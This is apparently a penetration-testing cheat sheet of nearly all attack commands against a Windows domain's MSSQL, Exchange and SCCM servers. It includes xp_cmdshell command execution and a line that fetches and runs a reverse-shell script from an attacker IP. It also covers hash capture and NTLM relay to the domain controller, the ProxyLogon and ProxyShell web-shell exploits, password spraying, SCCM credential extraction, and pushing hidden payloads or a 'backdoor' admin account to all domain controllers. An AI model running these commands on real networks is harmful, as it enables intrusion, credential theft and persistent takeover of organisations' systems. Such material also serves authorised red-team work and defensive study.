# SPNs registered for MSSQL in AD (most reliable)
GetUserSPNs.py domain.local/attacker:Pass123! -dc-ip <DC_IP> | grep -i mssql
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
  -b 'DC=domain,DC=local' \
  '(servicePrincipalName=MSSQLSvc/*)' \
  sAMAccountName servicePrincipalName dNSHostName

# nmap — UDP 1434 (SQL Browser) + TCP 1433
nmap -p 1433,1434 --script ms-sql-info,ms-sql-empty-password,ms-sql-ntlm-info <SUBNET>/24

# crackmapexec
crackmapexec mssql <SUBNET>/24 --no-bruteforce

# PowerUpSQL (Windows)
Get-SQLInstanceDomain -Verbose       # Via AD SPNs
Get-SQLInstanceBroadcast -Verbose    # Via UDP broadcast
Get-SQLInstanceScanUDP -Verbose      # UDP scan

# crackmapexec — test credentials
crackmapexec mssql <MSSQL_IP> -u attacker -p 'Pass123!' -d domain.local
crackmapexec mssql <MSSQL_IP> -u sa -p 'sa' --local-auth     # SA brute

# PowerUpSQL
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
Get-SQLServerInfo -Instance <MSSQL_INSTANCE>

# mssqlclient.py — Windows auth
mssqlclient.py domain.local/attacker:Pass123!@<MSSQL_IP> -windows-auth

# With NTLM hash (PTH)
mssqlclient.py -hashes :<NTLM> domain.local/attacker@<MSSQL_IP> -windows-auth

# With Kerberos TGT
export KRB5CCNAME=attacker.ccache
mssqlclient.py -k domain.local/attacker@<MSSQL_FQDN> -windows-auth -no-pass

mssqlclient.py sa:Password123@<MSSQL_IP>
mssqlclient.py -p 1433 sa:sa@<MSSQL_IP>

-- Who am I?
SELECT SYSTEM_USER;
SELECT USER_NAME();
SELECT IS_SRVROLEMEMBER('sysadmin');

-- All logins and roles
SELECT name, type_desc, is_disabled FROM sys.server_principals;
SELECT r.name, m.name FROM sys.server_role_members rm
  JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id
  JOIN sys.server_principals m ON rm.member_principal_id = m.principal_id;

-- Databases
SELECT name, is_trustworthy_on FROM sys.databases;

-- Current DB permissions
SELECT * FROM fn_my_permissions(NULL, 'SERVER');

-- Check if enabled
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell';

-- Enable
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- Execute OS commands
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user attacker Pass123! /add && net localgroup administrators attacker /add';

-- Reverse shell (PowerShell)
EXEC xp_cmdshell 'powershell -nop -w hidden -e <BASE64_PAYLOAD>';

-- File operations
EXEC xp_cmdshell 'dir C:\Users\';
EXEC xp_cmdshell 'type C:\Windows\System32\drivers\etc\hosts';

# Inside mssqlclient session:
SQL> enable_xp_cmdshell           # Automatically enables xp_cmdshell
SQL> xp_cmdshell whoami
SQL> xp_cmdshell powershell -c "IEX(IWR http://<ATTACKER_IP>/rev.ps1 -UseBasicParsing)"

-- Check who you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

-- Impersonate a sysadmin login
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

-- Now enable xp_cmdshell as the impersonated SA
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

-- Revert
REVERT;

Invoke-SQLAuditPrivImpersonateLogin -Instance <INSTANCE> -Verbose
Invoke-SQLEscalatePriv -Instance <INSTANCE> -Verbose

-- Find trustworthy databases
SELECT name, is_trustworthy_on, suser_sname(owner_sid) AS owner
FROM sys.databases
WHERE is_trustworthy_on = 1;

-- If you're db_owner of a trustworthy DB owned by sa:
USE <TrustworthyDB>;

-- Create a stored procedure that executes as the DB owner (sa)
CREATE PROCEDURE sp_escalate
WITH EXECUTE AS OWNER
AS
BEGIN
  EXEC sp_addsrvrolemember 'domain\attacker', 'sysadmin';
END;

EXEC sp_escalate;

-- Verify
SELECT IS_SRVROLEMEMBER('sysadmin');

-- List linked servers
SELECT name, provider, data_source FROM sys.servers WHERE is_linked = 1;

-- Or
EXEC sp_linkedservers;

-- Check the security context used for each link
EXEC sp_helplinkedsrvlogin;

-- Basic query on linked server
SELECT * FROM OPENQUERY([<LINKED_SERVER>], 'SELECT SYSTEM_USER');
SELECT * FROM OPENQUERY([<LINKED_SERVER>], 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');

-- Enable xp_cmdshell on linked server
EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [<LINKED_SERVER>];
EXEC ('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [<LINKED_SERVER>];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [<LINKED_SERVER>];

-- A → B → C (double hop)
SELECT * FROM OPENQUERY([ServerB],
  'SELECT * FROM OPENQUERY([ServerC], ''SELECT SYSTEM_USER'')');

-- Execute command on C via A→B→C
EXEC ('EXEC (''EXEC xp_cmdshell ''''whoami'''''') AT [ServerC]') AT [ServerB];

Get-SQLServerLinkCrawl -Instance <INSTANCE> -Verbose
Get-SQLServerLinkCrawl -Instance <INSTANCE> -Query 'EXEC xp_cmdshell ''whoami'''

# Step 1: Start Responder to capture hashes
responder -I eth0 -wv

# Step 2: Trigger UNC auth from MSSQL (via xp_dirtree, xp_fileexist, or BULK INSERT)

-- xp_dirtree (most common — doesn't need sysadmin if granted)
EXEC xp_dirtree '\\<ATTACKER_IP>\share';

-- xp_fileexist
EXEC xp_fileexist '\\<ATTACKER_IP>\share\file.txt';

-- BULK INSERT
BULK INSERT tempdb..test FROM '\\<ATTACKER_IP>\share\file.txt';

-- OPENROWSET
SELECT * FROM OPENROWSET(BULK '\\<ATTACKER_IP>\share\test.txt', SINGLE_CLOB) AS tmp;

# Step 3: Responder captures NTLMv2 hash of the SQL service account
# Crack it
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

# OR relay with ntlmrelayx (disable Responder SMB/HTTP first)
ntlmrelayx.py -t ldap://<DC_IP> --escalate-user attacker
# Then trigger the UNC path

# Generate CLR payload with mssqlclient built-in or custom DLL
# Using PowerUpSQL:

# PowerUpSQL — create and execute CLR
Invoke-SQLOSCmdCLR -Instance <INSTANCE> -Command 'whoami' -Verbose

# Manual — compile a .cs payload to DLL, then:
# 1. Enable CLR
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'clr enabled', 1; RECONFIGURE;
EXEC sp_configure 'clr strict security', 0; RECONFIGURE;

# 2. Load assembly from hex bytes (convert DLL to hex)
CREATE ASSEMBLY evil FROM 0x4D5A... WITH PERMISSION_SET = UNSAFE;

# 3. Create function mapping to DLL method
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR(4000)
AS EXTERNAL NAME [evil].[StoredProcedures].[cmd_exec];

# 4. Execute
EXEC cmd_exec 'whoami';

# Discover Exchange via DNS
nslookup -type=MX domain.local <DC_IP>
nslookup autodiscover.domain.local
nslookup mail.domain.local

# Check OWA / EWS / ActiveSync availability
curl -k https://<EXCHANGE_IP>/owa/
curl -k https://<EXCHANGE_IP>/ews/exchange.asmx
curl -k https://<EXCHANGE_IP>/mapi/
curl -k https://<EXCHANGE_IP>/ecp/         # Exchange Control Panel (admin)
curl -k https://<EXCHANGE_IP>/autodiscover/autodiscover.xml

# nmap
nmap -p 25,80,110,143,443,587,993,995 --script smtp-ntlm-info,http-ntlm-info <EXCHANGE_IP>

# Get Exchange version from NTLM info header
curl -k -s --ntlm -u ':' https://<EXCHANGE_IP>/ews/exchange.asmx | grep -i 'x-owa-version\|x-powered-by'
# Or use nmap:
nmap --script http-ntlm-info -p 443 <EXCHANGE_IP>

# Find Exchange servers via AD
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
  -b 'CN=Configuration,DC=domain,DC=local' \
  '(objectClass=msExchExchangeServer)' \
  name networkAddress serialNumber

# Check if Exchange security groups have WriteDACL on domain
Get-DomainObjectAcl -Identity 'DC=domain,DC=local' -ResolveGUIDs | Where-Object {
  $_.IdentityReferenceName -match 'Exchange' -and
  $_.ActiveDirectoryRights -match 'WriteDacl|GenericAll'
}

# Step 1: Start ntlmrelayx targeting LDAP on DC — escalate to DCSync
ntlmrelayx.py -t ldap://<DC_IP> --escalate-user attacker -smb2support

# Step 2: Trigger Exchange to authenticate to attacker using PrivExchange script
# (privexchange.py from https://github.com/dirkjanm/PrivExchange)
privexchange.py -u attacker -p 'Pass123!' -d domain.local \
  --attacker-ip <ATTACKER_IP> <EXCHANGE_IP>

# ntlmrelayx will relay the EXCHANGE$ auth to LDAP and grant DCSync to attacker

# Step 3: DCSync
secretsdump.py domain.local/attacker:Pass123!@<DC_IP> -just-dc-ntlm

# Exchange 2019 CU1+ / 2016 CU12+ / 2013 CU22+ removed the excess permissions
# Verify by checking if Exchange groups still have WriteDACL on domain object
dacledit.py -action read -target-dn 'DC=domain,DC=local' -dc-ip <DC_IP> 'domain.local/attacker:Pass123!' \
  | grep -i 'exchange'

# Check if vulnerable
curl -k -s 'https://<EXCHANGE_IP>/ecp/y.js?=autodiscover/autodiscover.json?@<EXCHANGE_IP>/ecp/y.js%3f' \
  -H 'Cookie: X-BEResource=localhost~1942062522' -v
# 200 OK with content → likely vulnerable

# PoC / exploit (several public PoCs — e.g. proxylogon.py)
python3 proxylogon.py <EXCHANGE_IP> <target_email>
# Outputs: webshell path on Exchange server

# Access the webshell
curl -k 'https://<EXCHANGE_IP>/aspnet_client/<shell>.aspx?cmd=whoami'

# Check with proxyshell_check.py or nmap
curl -sk 'https://<EXCHANGE_IP>/autodiscover/autodiscover.json?@test.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@test.com' \
  -o /dev/null -w "%{http_code}"
# 200 = potentially vulnerable

# Exploit (proxyshell.py)
python3 proxyshell.py -u https://<EXCHANGE_IP> -e <admin_email>
# Drops a webshell and provides interaction

# Or with metasploit
use exploit/windows/http/exchange_proxyshell_rce
set RHOSTS <EXCHANGE_IP>
set EMAIL <admin_email>
run

# Check if vulnerable (authenticated)
curl -sk -u 'domain\attacker:Pass123!' \
  'https://<EXCHANGE_IP>/autodiscover/autodiscover.json?@evil.com/powershell/?X-Rps-CAT=<JWT>' \
  -H 'Content-Type: application/json'

# Exploit PoC (https://github.com/kljunowsky/CVE-2022-41040-POC)
python3 CVE-2022-41040.py --url https://<EXCHANGE_IP> \
  -u 'domain\attacker' -p 'Pass123!'

# Method 1: Relay Exchange server's outbound auth
# Trigger via PrivExchange (Section 10) or EWS subscription
ntlmrelayx.py -t ldaps://<DC_IP> --escalate-user attacker -smb2support

# EWS push notification subscription — coerce Exchange to call back
# (exchanger.py or ruler)
python3 exchanger.py -u attacker@domain.local -p 'Pass123!' \
  -ah <ATTACKER_IP> domain.local

# Method 2: Relay user auth from OWA to SMB/LDAP
# Set up ntlmrelayx + Responder, send phishing link to Exchange users
ntlmrelayx.py -t smb://<TARGET_IP> -smb2support --no-http-server
# Or to LDAP for user creation / DCSync grant
ntlmrelayx.py -t ldap://<DC_IP> -smb2support --escalate-user attacker

# ruler — GAL enumeration via Autodiscover + EWS
ruler --domain domain.local -u attacker -p 'Pass123!' abk

# MailSniper (PowerShell)
Get-GlobalAddressList -ExchHostname <EXCHANGE_IP> -UserName attacker -Password 'Pass123!' -OutFile gal.txt

# EWS manually — resolve all names from GAL
# ewsManage.py or custom EWS calls

# MailSniper
Invoke-PasswordSprayOWA -ExchHostname <EXCHANGE_IP> -UserList users.txt -Password 'Winter2024!'

# SprayingToolkit
python3 sprayingtoolkit.py -t https://<EXCHANGE_IP>/owa/ -u users.txt -p 'Winter2024!'

# Ruler
ruler --domain domain.local spray --users users.txt --passwords passwords.txt --delay 0 --verbose

# o365spray (for Exchange Online / hybrid)
python3 o365spray.py --spray -U users.txt -P 'Winter2024!' --domain domain.local

# MailSniper — read inbox
Invoke-SelfSearch -Mailbox attacker@domain.local -ExchHostname <EXCHANGE_IP> \
  -Terms 'password','credentials','vpn'

# With another user's creds (if you have them)
Invoke-SelfSearch -Mailbox victim@domain.local -ExchHostname <EXCHANGE_IP> \
  -Remote -RemoteMailbox victim@domain.local -Credential (Get-Credential)

# Find SCCM Management Points and Site Servers via AD
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
  -b 'CN=System Management,CN=System,DC=domain,DC=local' \
  '(objectClass=*)' name dNSHostName

# mssADSiteName, msSMSSite, and related AD objects
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
  -b 'DC=domain,DC=local' \
  '(objectClass=msSMSSite)' name

# Find via DNS
nslookup sms.<domain.local>
nslookup sccm.<domain.local>
nslookup mecm.<domain.local>

# sccmhunter — full SCCM recon
python3 sccmhunter.py find -u attacker -p 'Pass123!' -d domain.local -dc-ip <DC_IP>
python3 sccmhunter.py show -all

# SharpSCCM (Windows)
SharpSCCM.exe local site-info
SharpSCCM.exe get site-info -sms <MP_SERVER>
SharpSCCM.exe get collection-members -sms <MP_SERVER>
SharpSCCM.exe get deployments -sms <MP_SERVER>
SharpSCCM.exe get devices -sms <MP_SERVER> -w "Name LIKE '%DC%'"

# Enumerate admin users
SharpSCCM.exe get admins -sms <MP_SERVER>

sccmhunter.py smb -u attacker -p 'Pass123!' -d domain.local -dc-ip <DC_IP>
# Checks SMB access to SCCM servers — if admin, proceed to full exploitation

# SharpSCCM — retrieve NAA from WMI (requires local admin or SYSTEM on client)
SharpSCCM.exe local naa
SharpSCCM.exe local secrets -disk   # from disk policies
SharpSCCM.exe local secrets -wmi    # from WMI (CCM_NetworkAccessAccount)

# sccmhunter
python3 sccmhunter.py dpapi -u attacker -p 'Pass123!' -d domain.local \
  -target <CLIENT_IP> -dc-ip <DC_IP>

-- Connect to SCCM site DB (usually on the Site Server)
-- Find NAA in the SC_UserAccount table
SELECT UserName, Password FROM vSMS_SC_UserAccount;

-- Credentials are encrypted with DPAPI — use sccmhunter or manual DPAPI decryption

# Task sequences can contain embedded credentials
SharpSCCM.exe get task-sequence -sms <MP_SERVER>

# If you're an SCCM admin:
SharpSCCM.exe get task-sequence -sms <MP_SERVER> -dump
# Decrypts embedded passwords from task sequence policies

# Step 1: Identify PXE-enabled Distribution Points
SharpSCCM.exe get site-info -sms <MP_SERVER>
# Look for: "PXE Enabled: True"

# Step 2: Request PXE boot variables (pxethief.py)
# Sends DHCP/BINL requests to the DP and receives boot policy
python3 pxethief.py 2 <DP_IP>
# If no password — receives variables.dat directly

# If password protected:
python3 pxethief.py 2 <DP_IP>   # Request variables
python3 pxethief.py 5 variables.dat passwords.txt   # Brute force password
hashcat -m 19850 hash.txt /usr/share/wordlists/rockyou.txt  # Crack PXE hash

# Step 3: Decrypt task sequence (once you have the password or no password set)
python3 pxethief.py 6 variables.dat <password>
# Output: decrypted task sequence containing NAA and domain join creds

# Step 4: Extract domain join account credentials from task sequence
# Often contains:
# - Domain join account (with domain join rights)
# - NAA credentials
# - Local admin credentials for imaging

# SCCMwtf / sccmhunter — coerce MP to authenticate
python3 sccmhunter.py relay -u attacker -p 'Pass123!' -d domain.local \
  -dc-ip <DC_IP> -target-dc <DC_IP>

# ntlmrelayx setup (LDAP relay for RBCD or DCSync grant)
ntlmrelayx.py -t ldaps://<DC_IP> -smb2support \
  --delegate-access   # RBCD on relayed machine account

# Coerce via HTTP enrollment (CCMSetup / MP endpoints)
# Trigger MP to call back to attacker IP
curl -s "http://<MP_IP>/ccm_system/request?MessageID=test" \
  --header "ClientToken: Attacker" --header "Authorization: "

# If you can MitM SCCM client → MP traffic (HTTP, not HTTPS):
ntlmrelayx.py -t http://<MP_IP>/ccm_system/request -smb2support
# Relay client NTLM auth to register a fake device with attacker-controlled creds

# Check AdminService availability
curl -k https://<MP_IP>/AdminService/wmi/SMS_R_System -u 'domain\attacker:Pass123!'

# sccmhunter — AdminService enumeration + exploitation
python3 sccmhunter.py admin -u attacker -p 'Pass123!' -d domain.local \
  -dc-ip <DC_IP> -sms <SITE_SERVER>

# Once in sccmhunter admin console:
() SCCMHunter >> get_device <device_name>
() SCCMHunter >> get_collection <collection>
() SCCMHunter >> push_script <device> <script.ps1>   # Execute PowerShell on client
() SCCMHunter >> cmpivot <device> "CurrentUser"       # CMPivot query

# SharpSCCM — run CMPivot query on all devices
SharpSCCM.exe invoke cmpivot -sms <MP_SERVER> -sc <SITE_CODE> \
  -q "CurrentUser" -collection "All Systems"

# Get logged-on users across all machines
SharpSCCM.exe invoke cmpivot -sms <MP_SERVER> -sc <SITE_CODE> \
  -q "LoggedOnUsers" -collection "All Systems"

# SharpSCCM — deploy script to specific device
SharpSCCM.exe exec -sms <MP_SERVER> -sc <SITE_CODE> \
  -d <DEVICE_NAME> \
  -p 'powershell -nop -w hidden -e <BASE64_PAYLOAD>'

# Deploy to entire collection (e.g., "All Domain Controllers")
SharpSCCM.exe exec -sms <MP_SERVER> -sc <SITE_CODE> \
  -n "All Domain Controllers" \
  -p 'cmd.exe /c net user backdoor Pass123! /add'

# sccmhunter — push PowerShell script
python3 sccmhunter.py admin -u attacker -p 'Pass123!' -d domain.local \
  -dc-ip <DC_IP> -sms <SITE_SERVER>
() SCCMHunter >> push_script <device> payload.ps1

# Invoke a script on a device via REST
curl -k -s -X POST "https://<SMS_PROVIDER>/AdminService/v1.0/Device(<resource_id>)/AdminService.RunScript" \
  -u 'domain\attacker:Pass123!' \
  -H 'Content-Type: application/json' \
  -d '{"ScriptGuid":"<GUID>","ScriptName":"test","ScriptBody":"<BASE64_PS1>"}'

# Connect to SCCM SQL (usually on Site Server or dedicated SQL server)
mssqlclient.py domain.local/attacker:Pass123!@<SCCM_SQL_IP> -windows-auth

-- Find the SCCM site database
SELECT name FROM sys.databases WHERE name LIKE 'CM_%';
USE CM_<SITECODE>;

-- Dump all credential-related tables
SELECT UserName, Password FROM SC_UserAccount;                  -- Encrypted (DPAPI)
SELECT UserName, Password FROM vSMS_SC_UserAccount;             -- Same, view

-- Collection membership (who's enrolled)
SELECT Name, OperatingSystemNameandVersion FROM v_R_System ORDER BY Name;

-- Task sequences (may contain embedded passwords)
SELECT PkgID, Name, Sequence FROM vSMS_TaskSequencePackage;

-- Admin users
SELECT LogonName, RoleName FROM v_SecuredScopePermission;

# sccmhunter — handles DPAPI decryption automatically
python3 sccmhunter.py dpapi -u attacker -p 'Pass123!' -d domain.local \
  -target <SITE_SERVER_IP> -dc-ip <DC_IP>

# Manual DPAPI:
# 1. Extract the SCCM machine DPAPI masterkeys from Site Server (requires admin)
# 2. Use mimikatz or pypykatz to decrypt
mimikatz # dpapi::cred /in:SC_UserAccount_blob

# mssqlclient.py (Impacket)
pip install impacket

# PowerUpSQL (Windows)
Import-Module .\PowerUpSQL.ps1

# SharpSCCM
# Download from: https://github.com/Mayyhem/SharpSCCM

# sccmhunter
git clone https://github.com/garrettfoster13/sccmhunter
pip install -r requirements.txt

# pxethief
git clone https://github.com/MWR-CyberSec/PXEThief
pip install -r requirements.txt

# PrivExchange
git clone https://github.com/dirkjanm/PrivExchange
pip install -r requirements.txt

# ruler
git clone https://github.com/sensepost/ruler
go build

# MailSniper (Windows)
Import-Module .\MailSniper.ps1

# privexchange
pip install privexchange